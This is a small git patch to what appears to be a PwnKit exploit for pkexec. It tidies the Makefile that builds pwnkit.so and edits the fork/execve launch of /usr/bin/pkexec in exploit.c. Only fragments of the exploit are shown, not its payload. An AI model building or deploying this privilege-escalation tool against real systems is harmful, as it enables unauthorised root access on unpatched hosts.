From e1df8a585cf51834f3b08192301eee899e0e8f50 Mon Sep 17 00:00:00 2001 From: Ruthenic Date: Thu, 27 Jan 2022 01:04:59 -0500 Subject: [PATCH] clean up some things --- Makefile | 4 +--- src/exploit.c | 7 ++----- 2 files changed, 3 insertions(+), 8 deletions(-) diff --git a/Makefile b/Makefile index 003b9a0..1b39330 100644 --- a/Makefile +++ b/Makefile @@ -1,5 +1,3 @@ -VERSION = "\"0.3.2\\n© Ruthenic, 2021\"" - CC ?= gcc target ?= $(shell ${CC} -dumpmachine) CC_FLAGS ?= @@ -7,7 +5,7 @@ CC_FLAGS ?= .PHONY: all debug all: @$(shell mkdir -p out) - gcc -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC + ${CC} -shared src/exploit.c -o out/pwnkit.so -Wl,-e,main -fPIC ${CC_FLAGS} debug: CC_FLAGS:=-g -O0 -v ${CC_FLAGS} debug: all diff --git a/src/exploit.c b/src/exploit.c index abe0aad..2edd093 100644 --- a/src/exploit.c +++ b/src/exploit.c @@ -55,13 +55,10 @@ void clean() { rmdir("pwn"); } -void runAndClean(const char *env[], const char *arg[]) { +void runAndClean(char * const env[], char * const arg[]) { int pid = fork(); if (pid == 0) { - int res = execve("/usr/bin/pkexec", arg, env); - /*if (res == -1) { - print("[Pwnkit] Failed to execute pkexec, or it returned an error; your system is most likely patched!"); - }*/ + execve("/usr/bin/pkexec", arg, env); } else { int status;